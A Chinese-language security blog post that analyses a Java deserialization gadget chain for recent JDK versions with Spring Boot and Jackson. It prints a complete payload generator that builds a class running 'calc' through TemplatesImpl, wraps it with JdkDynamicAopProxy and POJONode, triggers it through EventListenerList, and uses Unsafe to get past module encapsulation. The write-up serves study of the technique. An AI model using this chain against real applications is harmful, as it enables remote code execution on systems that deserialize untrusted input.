高版本JDK+SpringBoot原生反序列化通杀链

0x00 前言

那天一个朋友忽然在群里给我发了一个.txt.exe文件,说告诉我是spring+jdk高版本通杀链,em我第一时间就是直接怼了回去

image

事实证明他还真是,他让我翻p神星球里的内容,我一看还真有师傅发了一个文章......没办法了,来分析一下大佬的新链子

0x01 分析

因为我没有在另一个星球里并且我自己也是个小菜鸡,所以这篇文章就围绕N1ght师傅的payload进行一个分析

其实乍一看对于我这个学习还没多久的小cj来看还是有点难的,但是仔细看看其实发现里面有一些知识点都还是了解过的,只不过放在一块有点陌生了(bushi

贴payload:

package org.example;

import org.example.ReflectTools;
import org.example.SerialTools;
import org.example.UnSafeTools;
import javassist.ClassPool;
import sun.misc.Unsafe;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewConstructor;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.Vector;
// --add-opens java.base/java.lang=ALL-UNNAMED
public class Main {
    public static void main(String[] args) throws Exception {

        //第一步构造恶意类和创建TemplatesImpl实例并赋值特定字段
        //生成恶意类calc
        CtClass ctClass = pool.makeClass("Calc");
        ctClass.addConstructor(CtNewConstructor.make("public Calc() { Runtime.getRuntime().exec(\"calc\"); }", ctClass));
        //生成一个类foo
        CtClass ctClass1 = pool.makeClass("Foo");
        //获取两个类的字节码
        byte[] bytecode = ctClass.toBytecode();
        byte[] bytecode1 = ctClass1.toBytecode();
        //构造templateimpl实例
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //通过反射创建对象,不调用其构造函数
        Object templates = ReflectTools.createWithoutConstructor(aClass);
        //设置TemplatesImpl的_name,_sdom,_tfactory,_bytecodes(包含恶意类calc和foo的字节码)字段
        UnSafeTools.setObject(templates, aClass.getDeclaredField("_name"), "n1ght");
        UnSafeTools.setObject(templates, aClass.getDeclaredField("_sdom"), new ThreadLocal());
        UnSafeTools.setObject(templates, aClass.getDeclaredField("_tfactory"), UnSafeTools.newClass(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
        UnSafeTools.setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {bytecode, bytecode1});
        // UnSafeTools.setObject(templates,aClass.getDeclaredField("_bytecodes"), new byte[][]{TomcatEcho.testCalc()});

        //第二步:使用JdkDynamicAopProxy代理去使得jackson能够稳定获得特定的getter方法
        //创建spring aop代理==>这里创建了一个JdkDynamicAopProxy代理,该代理实现了Templates接口,并将TemplatesImpl实例作为目标。当代理对象的方法被调用时,会经过JdkDynamicAopProxy的invoke方法,最终调用到TemplatesImpl的方法。
        Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Class<?> advisedSupport = Class.forName("org.springframework.aop.framework.AdvisedSupport");
        Constructor<?> constructor = jdkDynamicAopProxy.getConstructor(advisedSupport);
        constructor.setAccessible(true);
        Object advisedSupport1 = advisedSupport.newInstance();
        Method setTarget = advisedSupport1.getClass().getMethod("setTarget", Object.class);
        setTarget.invoke(advisedSupport1, templates); // 将TemplatesImpl实例设置为目标
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(advisedSupport1);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler);
        //第三步:jackson反序列化
        //创建POJONode
        Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
        Constructor<?> constructor1 = name.getConstructor(Object.class);
        Object node = constructor1.newInstance(proxy);
        //修改BaseJsonNode类,移除writeReplace方法,让反序列化走正常渠道,不走BaseJsonNode类的反序列化
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass3= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace");
        ctClass3.removeMethod(writeReplace);
        ctClass3.toClass();
        //第四步:EventListenerList#readObject触发POJONode#toString实现任意调用getter方法
        //构造EventListenerList和UndoManager
        EventListenerList list2 = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) UnSafeTools.getObject(manager, CompoundEdit.class.getDeclaredField("edits"));
        vector.add(node);
        //将EventListenerList的listenerList字段设置为一个数组
        UnSafeTools.setObject(list2,EventListenerList.class.getDeclaredField("listenerList"), new Object[]{InternalError.class, manager});
        // proxy.toString();

        //序列化和反序列化
        String s = SerialTools.base64Serial(list2);
        System.out.println(s);
        Object o = SerialTools.base64DeSerial(s);


    }
}

这条链子中首先主要依赖的还是TemplatesImpl类,中间用到了 jackson反序列化和 利用 Unsafe 篡改 Module 机制,从而绕过 JDK 的强封装 以及一些tricks

第一步:构造恶意类和创建TemplatesImpl实例并赋值特定字段

我就不讲了,就是TemplatesImpl利用常规的一些东西

第二步:使用JdkDynamicAopProxy代理去使得jackson能够稳定获得特定的getter方法

看这个之前建议先看第三步

JdkDynamicAopProxy是spring boot自带的一个代理工具类

那为什么要使用JdkDynamicAopProxy代理去可以稳定获得getter方法呢?

参考文章:https://research.qianxin.com/archives/2414中的3.2 JNDI 注入的 Spring 环境利用

image

使用JdkDynamicAopProxy进行一个封装之后就可以是jackson稳定获得特定的getter

image

简单理解可以认为就是使用该代理并配置Template接口后,他只会去获取该接口中的getter方法,而不包括你要封装的对象的其它一堆getter方法

Template接口:

image

TemplatesImpl类:

image

第三步:jackson反序列化

jackson反序列化参考文章:https://www.cnblogs.com/F12-blog/p/18129942(TemplatesImpl链)

其中涉及到一些操作的原因比如为什么要重写BaseJsonNode类并注释writeReplace方法:

当你尝试将精心构造的、内部包裹了TemplatesImpl的POJONode对象序列化成JSON(这是生成攻击载荷的必要步骤)时,Jackson会触发BaseJsonNode.writeReplace()方法。这个方法会尝试将POJONode“净化”为一个与原始对象结构完全不同的NodeSerialization对象。当你再反序列化这个JSON时,你得到的只是一个普通的、无害的JSON节点,而不是那个精心构造的、包裹着TemplatesImpl的POJONode。整个利用链在序列化生成Payload的阶段就被“断掉”了

jackson反序列化主要是利用 POJONode#toString可以调用任意getter方法来实现的rce(也就是TemplatesImpl)

然后就是去找谁调用了 POJONode#toString,在低版本中是可以通过 BadAttributeValueExpException 的readobject去触发tostring,但是在高版本里,就没有触发的 toString 的了

image

第四步:EventListenerList#readObject触发POJONode#toString实现任意调用getter方法

因为上面提到了jdk高版本无法通过BadAttributeValueExpException去触发

payload中用到了一个使用EventListenerList触发任意toString

https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/

EventListenerList.readObject()
    -> EventListenerList.add(Class t, EventListener l)
        -> (隐式 toString) UndoManager.toString()
            -> CompoundEdit.toString()
                -> (隐式 toString) Vector.toString() / AbstractCollection.toString()
                    -> Iterator.next()
                    -> StringBuilder.append(Object obj)
                        -> String.valueOf(Object obj)
                            -> 恶意对象.toString() // 最终触发点

说实话这个trick还真是第一次了解,又涨脑子了

Trick1:绕过强封装

我们可以看到N1ght师傅的payload中使用了UnSafeTools和ReflectTools去操作那些反射的类并且赋值,这是因为在jdk高版本之后使用了一种叫强封装的机制:

默认情况下锁定内部 API 但允许您为特定用例解锁特定 API 的机制

这意味着使用反射访问JDK内部API的代码将不再被允许,任何对java.*代码中的非公共字段和方法进行反射将抛出InaccessibleObjectException异常

那有哪些是内部api呢?

参考官方文档:https://dev.java-lang.cn/learn/modules/strong-encapsulation/

image

在这里面我们可以看到虽然sun.*包被限制了,但是sun.miscsun.reflect并没有被限制,仍可供所有JDK版本(包括JDK17)中的工具和库进行反射

而在sun.misc包下就有着Unsafe类。那么该如何利用Unsafe来打破JDK17及以上的强封装module限制呢?

参考文章:https://h3rmesk1t.github.io/2024/10/23/Unsafe%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6/

讲的很好,我就不多赘述了

Trick2:

在上面的分析中,我们使用 JdkDynamicAopProxy 对templates对象进行封装并配置,除了可以稳定获取getter方法之外,还有就是可以绕过这个强封装模块化

因为templates对象是在com.sun.*包下,是输入官方文档中的内部api

image

而Templates接口是在javax.xml包下,是不属于内部api的范围,也就绕过了这个机制

image

0x03 总结

这篇文章主要就是简单分析一下N1ght师傅的payload,可能其中有一些理解上的错误,希望可以指正一下

image

posted @ 2025-08-26 18:21  Zephyr07  阅读(99)  评论(2)    收藏  举报